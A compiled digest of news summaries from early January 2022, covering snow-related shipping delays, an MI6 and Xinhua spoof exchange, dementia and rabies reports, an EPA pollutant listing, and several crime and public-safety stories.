This is the second week of shipping headaches for [Courtright Enterprises](#). Each day he can’t send trucks west, he misses the chance to deliver 20-25 container loads of hay. Last week, he missed all but half a day because of snow closures at the ports of Seattle and Tacoma. With the passes closed now, he estimates the company operated at 20% to 30% capacity over the previous two weeks.

On Thursday, he said he shut down his plant down halfway through the day.

Melanie Stambaugh, spokesperson for the Northwest Seaport Alliance of Seattle and Tacoma, said any goods arriving off container ships Thursday will likely go to storage in a warehouse, while passes remained closed.

“It’s fairly significant,” Stambaugh said. “These goods, a lot of them go through refrigerated containers, so we’re highly aware that you want to make sure that they get plugged in as soon as possible,” because they can’t be trucked immediately to the customers.

Courtright said that in the long run, his business will be fine. But it’s challenging because demand overseas for hay is so strong, yet the whole industry has struggled to keep up amid shipping disruptions.

“It’s one more delay for customers that are already experiencing significant delays,” he said.

[The town of Cle Elum](#), east of Snoqualmie Pass, declared an emergency based on “an unprecedented amount of snow,” encouraging residents to stay off the roads.

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HEADLINE	01/06 MI6 chief thanks China for ‘free publicity’
SOURCE	<a href="https://www.theguardian.com/world/2022/jan/06/mi6-chief-thanks-china-for-free-publicity-after-james-bond-spoof">https://www.theguardian.com/world/2022/jan/06/mi6-chief-thanks-china-for-free-publicity-after-james-bond-spoof</a>

The head of MI6 has thanked China's state news agency for ["free publicity"](#) after it posted a James Bond spoof video in response to a statement he made last year that Beijing was the spy agency's "single greatest priority".

Richard Moore, codenamed C, intervened after Xinhua released an extraordinary four-minute English-language video featuring a pair of supposed British spies, James Pond and an apparent Marvel universe recruit, Black Window.

Xinhua said the video, entitled No Time to Die Laughing, was leaked footage of a secret meeting between the British spies and their US counterparts. It features an elegantly dressed duo entering a country house and starting to discuss a dossier on Chinese espionage tactics, with canned laughter running throughout.

In reply, Moore tweeted: "Thank you for your interest (and the unexpected free publicity)," and he posted a copy of the [speech he gave in November](#) that had provoked Xinhua's unexpected response.

In his address, the MI6 chief said a rising [China](#) had become the spy agency's single greatest priority for the first time in its history, and he told Beijing it risked "miscalculating through over-confidence" over Taiwan.

It was one of several pointed remarks aimed at Beijing, traditionally an area where British ministers and officials have trodden carefully, including a warning about the spread of Chinese surveillance technology, which Moore said was used in "targeting the Uyghur population in Xinjiang".

The agents in the video thank M – the Bond films' moniker for the head of [MI6](#) – for hyping up the Chinese threat. "You know what's pathetic, using the fictional Chinese debt trap and data trap to secure our massive budget for next year," Pond says, holding a glass of champagne to toast the agency's success.

In his speech, Moore said China was asserting control over smaller countries – getting "people on the hook" – in Africa and elsewhere by forcing them to take on onerous borrowing in return for building vital infrastructure or taking control of their data to supply essential services.

Another conceit of the Xinhua video is the claim that it is not China that is tapping phones around the world but the US. Pond – described as "Agent 0.07" – learns from a call with a fictional CIA agent that his phone is being monitored by the Americans.

"Hey Pond, my advice is not to buy yourself a Huawei phone," the US agent advises. It becomes clear to Pond that his phone is being tapped. "He's obviously shaken and stirred now," Black Window says in an aside to the camera.

"To be America's enemy is dangerous. But to be America's friend is fatal," Pond concludes, with not much subtlety, before the conversation switches back to a defence of the Chinese telecoms firm Huawei. The American tells him there is a backdoor in Huawei's software to allow covert surveillance.

Unexpectedly, this prompts a robust defence of Huawei by Black Window, who appears to have switched out of character: "You gotta stop this backdoor nonsense. If there was any shred of evidence, you folks would have made headlines of it."

In June 2020 [Britain announced it would remove Huawei kit](#) from its 5G phone networks by 2027 after intense pressure from the Trump administration, claiming the technology was a potential security risk.

Nevertheless, the CIA character declines to back down, insisting: "There isn't any 100% safe and clear cellphone on this planet, otherwise David Cameron and [Angela] Merkel would have gotten one for themselves" – naming former political leaders perhaps to avoid too direct a link to Boris Johnson, the current UK prime minister, already facing other [difficulties involving his mobile phone](#).

HEADLINE	01/06 Study: dementia rates could triple by 2050
SOURCE	<a href="https://www.thedailybeast.com/dementia-rates-around-the-world-could-triple-by-2050?ref=home">https://www.thedailybeast.com/dementia-rates-around-the-world-could-triple-by-2050?ref=home</a>
GIST	<p>With every passing year, our understanding of <a href="#">how dementia affects people</a> and how we can treat it gets better and better. Unfortunately, every new year brings us closer to a crisis: According to a new study published Thursday in <i>The Lancet</i>, <a href="#">dementia</a> rates around the world are expected to triple by the year 2050—affecting 153 million people, up from 57 million in 2019.</p> <p>This comprehensive new forecast—which predicted prevalence rates for 195 countries—is an urgent warning for the world to address dementia’s biggest risk factors now rather than later, as well as for countries that will be hit hardest to begin making preparations to provide long term care and treatment options for elderly populations over the next three decades.</p> <p>“Dementia has a large impact on health systems, and service and support for end of life care,” Emma Nichols, public health researcher at the University of Washington and lead author of the new study, told The Daily Beast. “As the number of people with dementia increases, the availability of health services will need to increase to keep pace with anticipated demand.”</p> <p>On the surface, the findings aren’t entirely surprising—larger populations mean more old people, which means higher rates of dementia. But the new study gives us a few special insights that could be very useful in how we plan to fight the condition.</p> <p>For one, thanks to more recent population booms, North African and Middle Eastern countries are expected to have the biggest increases in dementia rates. From 2019 to 2050, for instance, Qatar’s dementia cases will skyrocket by 1,926 percent; the UAE’s by 1,795 percent; Bahrain’s by 1,084 percent; Ethiopia by 443 percent.</p> <p>In contrast, high-income Asian Pacific countries should have the smallest increases in cases, since their populations are actually expected to shrink, and dementia risk factors like obesity, high blood sugar, and smoking are less prevalent thanks to effective public health programs. Japan’s cases, for example, should only go up by about 27 percent.</p> <p>The authors believe that if <a href="#">proper actions</a> are taken to limit the impact of <a href="#">different risk factors</a>, the world can slash projected dementia cases by more than 6 million. Even modest and low-cost improvements in risk factors like education, they wrote, could have large-scale impacts in reducing dementia.</p> <p>But the biggest takeaway, said Nichols, is simply that the world needs to start pouring more resources into local health systems to ensure that dementia can be diagnosed early and patients are given robust care. This is especially true for developing nations, which could begin now.</p> <p>The authors do encourage more investment in treatment research, but Nichols emphasized that “it is difficult to uncover the specifics of the underlying mechanisms that cause disease in most people.”</p> <p>Expecting a breakthrough treatment for dementia in the near future is not a prudent strategy, they caution.</p> <p>If you’re looking for a more optimistic view of the future, you should know that not everyone agrees with the severity of the new study. Michaël Schwarzsinger and Carole Dufouil from Bordeaux University Hospital in France, who were not involved with the study, wrote in <a href="#">an accompanying essay in The Lancet</a> that they felt the authors were providing “apocalyptic projections” that are “oversimplifying the underlying mechanisms that cause dementia.” Schwarzsinger and Dufouil believe that even in low income countries, personal health changes adopted over a lifetime are on the upswing, and we can expect these trends to significantly prevent or delay the onset of dementia.</p> <p>In other words, we should read into the predictions as just that: predictions, not certainties.</p>
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HEADLINE	01/06 Five rabies deaths highest total in decade
SOURCE	<a href="https://abcnews.go.com/Health/wireStory/us-rabies-deaths-year-highest-decade-82115714">https://abcnews.go.com/Health/wireStory/us-rabies-deaths-year-highest-decade-82115714</a>
GIST	<p>NEW YORK -- Five Americans died of rabies last year — the largest number in a decade — and health officials said Thursday that some of the people didn't realize they had been infected or refused life-saving shots.</p> <p>The Centers for Disease Control and Prevention released a report on three of the deaths, all stemming from contact with bats. CDC officials said the deaths were tragic and could have been prevented.</p> <p>One, an 80-year-old Illinois man, refused to take life-saving shots because of a longstanding fear of vaccines. An Idaho man and a Texas boy did not get shots because of a belief that no bat bite or scratch broke their skin.</p> <p>In all three cases, people “either trivialized the exposure (to bats) or they didn't recognize the severity of rabies,” said Ryan Wallace, a CDC rabies expert who co-authored the report.</p> <p>Two other deaths occurred earlier in 2021. One was a Minnesota man bitten by a bat. He got the shots, but an undiagnosed immune system problem hampered their effectiveness, CDC officials said. The other victim was bitten by a rabid dog while traveling in the Philippines and died in New York after returning to the U.S.</p> <p>Rabies is caused by a virus that invades the central nervous system and is usually fatal in animals and humans. It’s most commonly spread through a bite from an infected animal, with most U.S. infections in recent years traced to bat encounters.</p> <p>Infection can cause insomnia, anxiety, confusion, paralysis, salivating, hallucinations, difficulty swallowing and fear of water.</p> <p>Death can occur only a couple of weeks after symptoms begin. But it can be prevented through a series of five shots given within two weeks of exposure.</p> <p>An estimated 60,000 Americans are treated each year after possible exposure to rabies, the CDC says.</p> <p>There were no rabies deaths reported in 2019 or 2020. The last time five U.S. rabies deaths were reported in a single year was 2011, CDC officials said.</p>
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HEADLINE	01/05 EPA expands hazardous air pollutant list
SOURCE	<a href="https://www.washingtonpost.com/climate-environment/2022/01/05/epa-1-bromopropane-hazardous-air-pollutant/">https://www.washingtonpost.com/climate-environment/2022/01/05/epa-1-bromopropane-hazardous-air-pollutant/</a>
GIST	<p>It took over three decades, but the federal government finally expanded its list of chemicals too dangerous for Americans to breathe.</p> <p>By one.</p> <p>The Environmental Protection Agency’s decision to add a <a href="#">powerful dry-cleaning solvent</a>, 1-bromopropane, to its list of hazardous air pollutants was long overdue, environmentalists and industry officials say. Researchers, bureaucrats and even many chemical makers have viewed it for years as a dangerous airborne pollutant suspected to damage nerves and cause cancer.</p> <p>Yet it took a decade of prodding to prompt EPA officials to register it as a hazardous air toxic. The final rule was announced in <a href="#">a notice</a> published in the Federal Register on Wednesday. The designation allows the agency to set limits on emissions of the solvent, valued by dry cleaners, auto shops and other businesses for its ability to treat dirty fabrics and greasy metal parts.</p>



The fact that it took so long to add a single compound to a [list](#) Congress established in 1990 underscores the bureaucratic inertia that impedes any effort to protect Americans from harmful chemicals that businesses use every year.

“Putting it on the list was supposed to be easy,” said Adam M. Finkel, who used to direct the health standards programs at the Occupational Safety and Health Administration and warned of the dangers of 1-bromopropane 20 years ago.

“I hate the term no-brainer, but this is a no-brainer,” he added. “It’s a toxic air pollutant, so it belongs on the list of toxic air pollutants.”

Congress established the original roster of more than 180 hazardous air pollutants when it strengthened the Clean Air Act, the nation’s linchpin law protecting Americans’ lungs, more than 30 years ago. Lawmakers granted the EPA broad authority to add any chemical to the list — which includes asbestos, [mercury](#) and lead — if it is “reasonably” anticipated to harm humans or the environment.

Yet for decades, the agency never used that power. Instead, the use of 1-bromopropane grew as regulators tightened safety limits for other compounds. By 2011, the state of New York joined with an industry group, the Halogenated Solvents Industry Alliance, to petition the EPA to add the chemical to its list of hazardous pollutants.

The agency was supposed to make a decision within 18 months. But the delays spanned three presidencies. Earthjustice senior attorney Tosh Sagar, whose group sued the EPA over the chemical, said its regulators “have trouble consistently following the law that Congress laid out in terms of protecting people” no matter who is president.

Obama administration officials didn’t draft a proposal approving the request until his last month in office, in 2017. The Trump administration [granted](#) the petition in 2020 but indefinitely delayed adding it to the hazardous list.

“It’s taken them this long to act,” said Halogenated Solvents Industry Alliance Executive Director Faye Gaul, whose members manufacture alternative chemicals.

But officials at the American Chemistry Council, the chemical industry’s main lobbying arm in Washington, said they remain leery because the EPA has not yet said how it will curb the pollutant.

“Our primary concern is that EPA listed 1-bromopropane as a hazardous air pollutant before figuring out how it should be integrated into existing regulatory programs,” said Jennifer Garfinkel, the group’s director of product communications.

The EPA is planning to propose a “regulatory infrastructure” for adding the chemical to the hazardous pollutant list this year, EPA spokesman Nick Conger said. It aims to finalize that rule by early 2023, he added.

Michael Hansen, who heads the Greater-Birmingham Alliance to Stop Pollution and joined Earthjustice in suing the EPA, said low-income residents of Alabama’s majority-Black city live near a pipe manufacturer that has reported releasing the chemical while the regulatory process has dragged on in the nation’s capital.

“And so these people have been living with this for years, and living with an unregulated carcinogen in their backyard is not fair,” Hansen said. “And so we’re, on the one hand, glad it’s being regulated now, but wish it had been sooner.”

Public health advocates hope the move opens the door for adding more chemicals to the list. Sagar is urging the EPA to curb the emissions of [a group of dangerous, long-lasting chemicals](#) called polyfluoroalkyl and perfluoroalkyl substances, or PFAS, found in an array of cleaning supplies, cosmetics and other products.

	“So this is a good thing, both from the precedential level, but also for protecting people from this pollutant,” he said.
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## Crime, Criminals

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HEADLINE	01/07 Denmark release pirates rather than trial
SOURCE	<a href="https://apnews.com/article/europe-africa-crime-denmark-copenhagen-c1b94ed2ba1f377b3f404520cb718cc8">https://apnews.com/article/europe-africa-crime-denmark-copenhagen-c1b94ed2ba1f377b3f404520cb718cc8</a>
GIST	<p>COPENHAGEN, Denmark (AP) — Three suspected pirates who were detained on a Danish military vessel after a fatal gunfight with the Danish navy off West Africa have been released after the government decided it did not want to bring them to Denmark to face preliminary charges of attempted murder.</p> <p>“We have no interest in getting the persons in question to Denmark,” Justice Minister Nick Haekkerup said Thursday, adding there was a “risk that they would not subsequently be deported.”</p> <p>A fourth suspected pirate who was injured during a gunbattle with the Danish army, is already in Denmark receiving medical care and will continue to face charges, he said.</p> <p>Foreign citizens found guilty of crimes in Denmark are often deported after having served their time. But some fight to stay, while others cannot be extradited because Denmark may not have extradition agreements with their countries. The nationalities of the suspected pirates are not known.</p> <p>Haekkerup said he “had quite exceptionally ordered the prosecution to notify three of the four suspected pirates that charges against them would be dropped.” He said it was “a very unusual case,” adding “they simply do not belong here. And that’s why I think it’s the right thing to do.”</p> <p>Danish media said the men were put on a dinghy in international waters with enough fuel, water and food to reach land.</p> <p>The fourth suspected pirate was flown to Denmark on Jan. 6 where he will face a custody hearing and “further prosecution against him continues.”</p> <p>He was first admitted to a hospital in Ghana during a port call in December. However, as it was not possible to leave him there or in the area, and because it was not justifiable to release him at sea “for health and safety reasons,” the government said “it has been necessary to bring the person to Denmark.”</p> <p>The Nov. 24. incident involved the Danish frigate HDMS Esbern Snare, which was on an anti-piracy operation off West Africa.</p> <p>It engaged in an exchange of fire with a vessel that was reported to have been approaching several commercial ships in the Gulf of Guinea off oil-rich Nigeria. It had first dispatched a Seahawk helicopter which reported seeing men on the vessel with “equipment connected to piracy, including ladders.”</p> <p>Following the gun battle, the vessel sank. Four of the suspected pirates were killed and one is missing, presumed drowned. The other four were taken aboard the Danish ship.</p> <p>Later, because the ship is considered Danish territory, a Copenhagen court ordered the four held in custody while authorities investigate the case. In Denmark, preliminary charges are one step short of formal charges.</p> <p>The Gulf of Guinea is one of the world’s most dangerous waterways with regular kidnappings. In 2019, the region accounted for more than 90% of global crew member abductions.</p>

HEADLINE	<b>01/06 Haiti: gang burned alive 2 journalists</b>
SOURCE	<a href="https://www.cnn.com/2022/01/06/americas/haiti-journalist-killing-intl-hnk/index.html">https://www.cnn.com/2022/01/06/americas/haiti-journalist-killing-intl-hnk/index.html</a>
GIST	<p>(CNN)Two <a href="#">Haitian</a> journalists were burned alive by a gang in the country's capital on Thursday, a source with the Haitian Security Forces told CNN.</p> <p>The source said the Ti Makak gang carried out the killings in the Petion-Ville neighborhood of Port-au-Prince. The motive and details of the attack remain unclear, the source said.</p> <p>A third journalist managed to escape, the source added.</p> <p>Haitian media outlet Radio Écoute FM confirmed that one of its journalists, John Wesley Amady, was killed in the attack while he was on assignment documenting the lack of security in the area.</p> <p>In a statement to CNN Thursday, the outlet said Amady "was savagely shot and burned alive by armed bandits."</p> <p>"We condemn with the utmost rigor this criminal and barbaric act," Radio Écoute FM said, calling it a "serious attack on the right to life."</p> <p>Radio Écoute FM has suspended operations until further notice "as a sign of solidarity with the family of the victim," the statement said.</p> <p>The attacks come against the backdrop of extreme violence and deteriorating security conditions in Port-au-Prince, with rival groups battling one another or the police for control of the streets, displacing tens of thousands of people in one of the poorest nations in the Americas.</p> <p>In July last year, Haiti's President Jovenel Moise was <a href="#">assassinated during an attack</a> on his private residence, leaving a power vacuum that deepened the turmoil from the violence, Haiti's growing humanitarian crisis, and the <a href="#">Covid-19 pandemic</a>.</p> <p>The United States on Tuesday <a href="#">arrested</a> a Colombian man for his alleged involvement in Moise's assassination.</p>
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HEADLINE	<b>01/06 Colorado judge slams Gov. on re-sentence</b>
SOURCE	<a href="https://www.foxnews.com/us/colorado-truck-judge-jared-polis-rogel-aguilera-mederos">https://www.foxnews.com/us/colorado-truck-judge-jared-polis-rogel-aguilera-mederos</a>
GIST	<p>A judge who ordered a <a href="#">Colorado</a> trucker to spend 110 years behind bars for <a href="#">killing</a> four in a fiery <a href="#">crash</a> – and who was set to hear arguments to have the man <a href="#">resentenced</a> later this month – has called out the governor for his lack of "respect" in slashing the sentence by 100 years before the hearing could take place, according to a local affiliate report.</p> <p>District Court Judge Bruce Jones responded Wednesday to recent news that Gov. Jared Polis had <a href="#">commuted the sentence</a> of Rogel Aguilera-Mederos from 110 years to 10 years, following outcry from the public and activists.</p> <p>Aguilera-Mederos was convicted late last year of killing four people in a 2019 truck crash on Interstate 70 near Denver.</p> <p>Jones heard briefly from prosecutors and Aguilera-Mederos' attorney on Dec. 27 regarding a possible resentencing and had scheduled a hearing on the issue for Jan. 13.</p> <p>But before the hearing could take place, Polis announced on Dec. 30 that he had cut the sentence by a century, local affiliate FOX 31 <a href="#">reported</a>.</p>

Jones responded in an order canceling the Jan. 13 hearing, in which he wrote that the "court respects the authority of the Governor to do so," according to the filing obtained by [FOX 31](#).

He added: "Based on the timing of the decision, however, it appears this respect is not mutual. The Court again extends its condolences to the families of those who died, to those who were injured, and to all who were traumatized because of the events on I-70 on April 25, 2019."

Jones also noted at the time that he had not yet received a formal notification of the commutation of Aguilera-Mederos's sentence, according to the report.

In his Dec. 30 clemency [letter](#), shared by FOX 31, Polis wrote that the sentence Aguilera-Mederos had originally received was "simply not commensurate with your actions, nor with penalties handed down to others for similar crimes."

The Democratic governor told the trucker that he had been convicted of "serious" crimes and said that "four individuals lost their lives and others were seriously injured because of your bad decisions."

The victims were identified as being Miguel Angel Lamas Arellano, 24; William Bailey, 67; Doyle Harrison, 61; and Stanley Politano, 69.

He acknowledged the victims' families and called the crash a "tragic event that affected many Coloradans."

"Though your actions have caused immense pain," he wrote, "I am encouraged by your personal reflection and the commercial vehicle safety changes that were made in the wake of this tragedy to ensure this type of event never happens again." His decision was lauded by some members of the public and even celebrity Kim Kardashian-West.

During Aguilera-Mederos' trial late last year, prosecutors questioned why the driver did not use the runaway ramp along the roadway instead of driving his semitrailer into traffic and causing a devastating chain-reaction crash.

Aguilera-Mederos said he was carrying a load of lumber when his brakes failed. He said he was trying to shift the truck to slow down but struggled.

When Jones imposed the 110-year sentence on Dec. 13, he acknowledged that if he had the option of doing differently, he would have. But the 110-year prison term was the mandatory minimum sentence for the charges on which Aguilera-Mederos was convicted.

Loved ones of the victims were less than pleased with the sudden announcement.

Duane Bailey, the brother of William "Bill" Bailey, slammed Polis as a "despicable human being" for commuting the sentence before the hearing could take place.

"You also have to realize [Aguilera-Mederos] will not spend the entire 10 years the governor put his sentence at. He could get out in as little as 5 years," Bailey told [CBS Denver](#). "Would your brother's life be adequately compensated if he spent 1 1/4 years per death in prison?"

After news of the decision, First Judicial District Attorney Alexis King – who had been seeking a resentencing of 20 to 30 years – said she was "disappointed in the Governor's decision to act prematurely," FOX 31 reported.

"I joined the surviving victims and families of those who lost their loved ones in their wish to have the trial judge determine an appropriate sentence in this case, as he heard the facts and evidence of the defendant's destructive conduct that led to death, injury, and devastating destruction," King reportedly wrote.

	<p>A spokesperson for Polis' office told Fox News the 110-year sentence "was totally different than what others who committed similar crimes received."</p> <p>"There was an urgency to remedy this sentence and restore confidence in the uniformity and fairness of our criminal justice system," the spokesperson added.</p> <p>Aguilera-Mederos will be eligible for parole on Dec. 30, 2026.</p>
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<b>HEADLINE</b>	<b>01/06 Olympia jail operations suspended: Covid</b>
<b>SOURCE</b>	<a href="https://www.kiro7.com/news/local/olympia-jail-operations-suspended-due-covid-19/KSQSZGC6FJAHPEIXPDTTAKBKY/">https://www.kiro7.com/news/local/olympia-jail-operations-suspended-due-covid-19/KSQSZGC6FJAHPEIXPDTTAKBKY/</a>
<b>GIST</b>	<p>OLYMPIA, Wash. — Olympia Police Department interim chief Rich Allen suspended the operations at the municipal jail on Thursday.</p> <p>Allen said the decision was driven by the continued spread of COVID-19 among staff and inmates and a shortage of staff needed to operate the jail safely.</p> <p>All operations will be suspended for 10 days until the Thurston County Health Department and the police department can assess the status of the jail.</p> <p>"The health and welfare of our staff and the inmates we care for are of the utmost concern," said Allen. "We will continue to work with the Health Department to facilitate a safe return to operations."</p> <p>As for the inmates, Allen said two low-risk inmates were released by the city's Municipal Court after a special session was held to determine the status of all inmates. Four other inmates were transferred to the Lewis County Jail.</p> <p>The police department's patrol operations were not affected.</p>
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<b>HEADLINE</b>	<b>01/06 Seattle-area rising domestic violence rates</b>
<b>SOURCE</b>	<a href="https://www.seattletimes.com/seattle-news/the-seattle-area-faces-rising-domestic-violence-rates-this-organization-is-working-to-combat-it/">https://www.seattletimes.com/seattle-news/the-seattle-area-faces-rising-domestic-violence-rates-this-organization-is-working-to-combat-it/</a>
<b>GIST</b>	<p>At the start of the holiday season – in a typical year – the Bellevue-based nonprofit LifeWire would invite dozens of people to pick out gifts for their kids and family. Survivors of domestic violence would browse shelves of donated clothes and toys, selecting items to gift wrap for their loved ones.</p> <p>But the past two years have not been typical.</p> <p>LifeWire has pivoted to online programs amid the COVID-19 pandemic. Advocates and survivors meet over Zoom to figure out housing plans or participate in virtual support groups. This past holiday, staff got on FaceTime with clients to pick out gifts; one family picked a pink winter coat and an Anna doll from the animated film "Frozen."</p> <p>Though the holiday shop hasn't been quite the same, the services at <a href="#">LifeWire</a> have continued to be meaningful to the 1,336 people the nonprofit served this past year. The agency connects survivors of domestic violence in King County with housing, legal and mental health services, and is the newest of 13 nonprofits highlighted by <a href="#">The Seattle Times Fund for Those in Need</a>.</p> <p>The pandemic not only forced LifeWire to adjust its programs, it also pushed up domestic violence numbers. In 2019, <a href="#">calls</a> from county residents to the National Domestic Violence Hotline hovered below</p>

200 a month. In April 2020, at the start of the first stay-at-home orders, the calls rose to 229, and in March 2021, they went to a high of 258.

Rates of emergency room visits due to domestic violence in the county have also recently risen, as have counts of [referrals for felony charges](#) and restraining orders. Worst of all, domestic violence-related deaths in King County surged to the highest numbers in at least 25 years, according to the Prosecuting Attorney's Office: 29 deaths in 2020 and 25 in 2021. This includes killings by intimate partners, as well as suicides related to domestic violence and the deaths of good Samaritans trying to intervene.

David Martin, chair of the domestic violence unit at the prosecuting attorney's office, looks at these numbers and tries to make sense of them.

"It's not just homicides between intimate partners or families," Martin said. "It manifests itself in so many other areas. Domestic violence offenders are killing other people in the community, taking their own life, or potentially being associated with officer-involved shootings."

"My office holds data, but I really feel like we should be having epidemiologists looking at these things, not lawyers."

### **Inside LifeWire**

There's no one look that defines a survivor of domestic violence.

Age is not a factor – teenagers and older people are among those who have sought LifeWire's help. While the overwhelming majority are women, there are also male survivors. Race and ethnicity are not meaningful aspects, and neither is income.

"It was a real surprise to me," said Tevin Medley, LifeWire's housing stability services manager. "I had some idea in my head as to what a survivor looks like. But it is something that is just so prevalent in our society."

While rising rates of domestic violence are concerning, advocates like Medley also worry when the data is lower than expected, as that can mean people can't call for help because they're in close quarters with violent partners or family.

"Sometimes at home is the place that they are least safe," Medley explained.

"We are typically mobile advocates, so we go out and meet with people, meet them in the community, at a library or walk around the park and chat."

The organization has been forced to be nimble amid the pandemic – some advocates are still meeting with survivors in person when possible, others are providing phones if need be or texting them when their partners are away, leveraging the discretion of technology.

LifeWire has also been challenged by housing during the pandemic.

"We were seeing people who were being pushed out of apartments because they couldn't afford them because they lost their jobs," said Wendi Lindquist, a communications specialist. "Then on the other side, we were seeing people coming out of abusive relationships, looking for a new place to go and there was nowhere for them to land."

The organization continues to look for short- and long-term housing options. Currently it has an emergency shelter and a transitional housing site that totals 20 units; all of them are now in use. Some are occupied by moms living alone while they work to gain custody; others typically have one to three children living with them.

### **Seeking help**



Sally's journey to finding help in Washington state took years, and she has a thousand stories about navigating the rocky path to safety.

Sally, a former client of LifeWire who requested her last name not be used, came to the U.S. from Egypt when she was 19. She didn't plan to stay, but her mother and sister had moved to California and she joined them, eventually getting married.

The problems started right away. There was verbal, mental and physical abuse from her spouse, she said. But he was the main source of income, she was now 24, and they had a son. On top of that, Sally was still figuring out her immigration paperwork. Her house, her phone and her network of friends and family were all intricately linked to him.

Police were called after a fight in a public setting.

"After three years, I said enough is enough," Sally said.

Sally entered into a grueling legal battle with her husband, she recalled. He persuaded her to take back part of her declaration of abuse to police, she said, which she called "brainwashing." Abusers often try to reconcile with their intimate partners, sometimes promising change and initially being kind before restarting the cycle of violence.

Sally tried leaving a second time, fleeing to Canada to stay with other family members while her divorce finalized. She found out she was pregnant again, and eventually found herself with little support. She said it felt like being "out in the middle of the ocean and trying to hold onto anything."

Sally found the challenges kept piling up: Money, work and housing were hard to come by. She was removed back to the U.S., where she had citizenship, but struggled to find a place to live.

"I rent a sofa in the garage, I stay in a car, I stay in a park, me and a little one. I slept on a church floor," Sally said. "That broke me. And it's hard for mom to feel that broken for her kids."

She was connected to LifeWire in 2013, shortly after the birth of her second son. The agency helped her find emergency housing as well as clothing and food for the kids. A social worker guided her through available services, and programs like LifeWire's financial literacy classes taught Sally more about banking and how to set up her own accounts. She also started counseling and learning more about mental health and how to manage her anxiety and depression. Eventually, she found a job at a kitchen washing dishes and enrolled in college.

Sally is currently wrapping up her studies at Bellevue College as a lab technician. She hopes to transfer to the University of Washington, where she can get a bachelor's degree in health informatics.

She is still connected with staff at LifeWire, and now helps other women informally as they navigate their own way out of domestic violence.

### **Looking to 2022**

As we enter a third year of the pandemic, domestic violence advocates and experts worry about what new challenges may come – but they are also hopeful.

Martin from the King County Prosecuting Attorney's Office hopes the conversation will shift into one with "a greater investment of a public health approach to domestic violence."

"I think the legal system is a critically important part of responding," he said. "But it's not the only thing."

Medley envisions a future at LifeWire where more people, not just survivors, work to end the cycle of domestic violence. That includes perpetrators of violence, many of whom are men.

	<p>“It’d be cool if more men were kind of thinking about these things and what their role is,” Medley said. “What does it mean to be a man in a society where that kind of patriarchy exists? And what are you doing to change it?”</p>
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HEADLINE	<b>01/06 Murders in cities near record highs in 2021</b>
SOURCE	<a href="https://www.wsj.com/articles/murders-in-u-s-cities-were-near-record-highs-in-2021-11641499978?mod=hp_lead_pos11">https://www.wsj.com/articles/murders-in-u-s-cities-were-near-record-highs-in-2021-11641499978?mod=hp_lead_pos11</a>
GIST	<p>U.S. cities are facing a sustained surge in homicides, as police departments and mayors’ offices tally up crime statistics for 2021 and launch 2022 programs designed to curb gun violence.</p> <p>Several cities set new records for murders last year. Philadelphia, Portland, Ore., Louisville, Ky., and Albuquerque, N.M., had their deadliest years on record. Philadelphia, the nation’s sixth-largest city, had 562 homicides surpassing its previous high of 500 set in 1990.</p> <p>Criminologists and local law-enforcement officials don’t agree on the reasons for the surge in violent crime. Some cite stress from the Covid-19 pandemic. Some point to what they see as frayed relations between law enforcement and Black communities after police killings, such as that of George Floyd in Minneapolis. Others blame bail reform and moves in some cities to bring fewer prosecutions.</p> <p>Homicides rose by 4% in 22 major American cities through the third quarter of 2021, according to a study by the Council on Criminal Justice, a think tank focusing on criminal-justice policy and research.</p> <p>The rise followed one of the most violent years in decades. In 2020, murders in the U.S. <a href="#">rose nearly 30%</a> from the prior year to 21,570, the largest single-year increase ever recorded by the Federal Bureau of Investigation. The rate of 6.5 per 100,000 residents was the highest since 1997 but still below historic highs of the early 1990s. The total was estimated based on 85% of the nation’s 18,623 law-enforcement agencies submitting crime data.</p> <p>The FBI breaks down the victims by race and ethnicity, though its numbers are incomplete. In 2020, at least 9,941 were Black, 7,043 were white, 511 were of other races and 320 were unknown, according to the FBI. By ethnicity, 2,851 were Hispanic, according to the data.</p> <p>While elevated, the increase in the murder rate slowed in some cities. New York City, which recorded a nearly <a href="#">45% increase in 2020</a>, had a 4% murder rise through Dec. 26, 2021, when compared with the same period the prior year. Chicago, which had a 55% increase in 2020, had a 3% rise in 2021.</p> <p>And in Dallas, murders were down 13% in 2021 after the city had its highest murder total in more than 15 years in 2020.</p> <p>A key to driving down the murder rate in Dallas last year was getting police officers re-engaged, said Eddie Garcia, the Dallas police chief. “Our police officers nationally have felt unappreciated, they felt under fire,” said Mr. Garcia. “That’s led to disengagement in our communities where we need to engage even more.”</p> <p>Mr. Garcia, who took the helm in early 2021, said the department tracks crime trends in tiny geographic areas and deploys officers to areas that have spikes in violence.</p> <p>New mayors were elected in major cities last year with tough-on-crime messages. New York City Mayor Eric Adams, a retired New York Police Department captain, promised to reinstate a plain-clothes anticrime unit that was criticized as being too aggressive in the past. Atlanta Mayor Andre Dickens promised to hire hundreds of new police officers.</p> <p>In Minneapolis, the birthplace of the movement to defund the police, residents voted down a measure to replace the city’s Police Department amid rising crime.</p>

Voters in Chicago and Philadelphia re-elected progressive prosecutors in 2020 and 2021 who promised to fight crime while also reducing the number of people behind bars.

“The overarching explanation for the increase in violence over the last two years is the pandemic,” said John Roman, a senior fellow in the Economics, Justice and Society Group at NORC at the University of Chicago. “People who live in places that have high levels of violence were disconnected from anything positive in their lives: School, churches, mentors, counseling, everything.”

In Los Angeles, where homicides were up 12% through Dec. 25, the pandemic led to a pause in gang intervention and other programs targeting the people most likely to be involved in violent crime. That [contributed to an increase in gang shootings](#), according to police officials and gang-intervention workers.

Richard Rosenfeld, a criminologist at the University of Missouri, St. Louis who co-wrote the study for the Council on Criminal Justice, predicted that murder rates will drop back down to pre-pandemic levels in coming years. “Some of the acute conditions that gave rise to the increase we saw last year have begun to subside in many places,” he said. Time has passed from the onset of the pandemic and the killing of George Floyd, he said.

Some law-enforcement officials say that a police pullback has been a factor, too, in cities like Portland, Ore. The city’s 90 homicides surpassed an all-time high of 70 in 1987. Portland, which has had sustained late-night street violence downtown, [struggled in 2021 to find enough cops](#) willing to join a police unit focused on fighting gun violence. Officers said they were reluctant to sign up for the once-prestigious job due to increased public scrutiny, department and police union officials said.

In other cities, police officials blamed bail-reform measures for not keeping more criminals behind bars. In Chicago, a 7-year-old girl was killed in a [McDonald’s](#) drive-through in April by someone who police said had been let out on electronic monitoring.

At a news conference this week, Chicago Police Chief David Brown urged the news media to tell the stories of homicide victims and their families to “break hearts of these judges so that they can’t...with a clear conscience let these people back into these neighborhoods at these bail hearings.”

Progressive prosecutors take the approach of not prosecuting some low-level offenses like drug possession. In Philadelphia, for example, cases brought by the district attorney’s office from 2018 through 2021 dropped by nearly 30% compared with the prior four years.

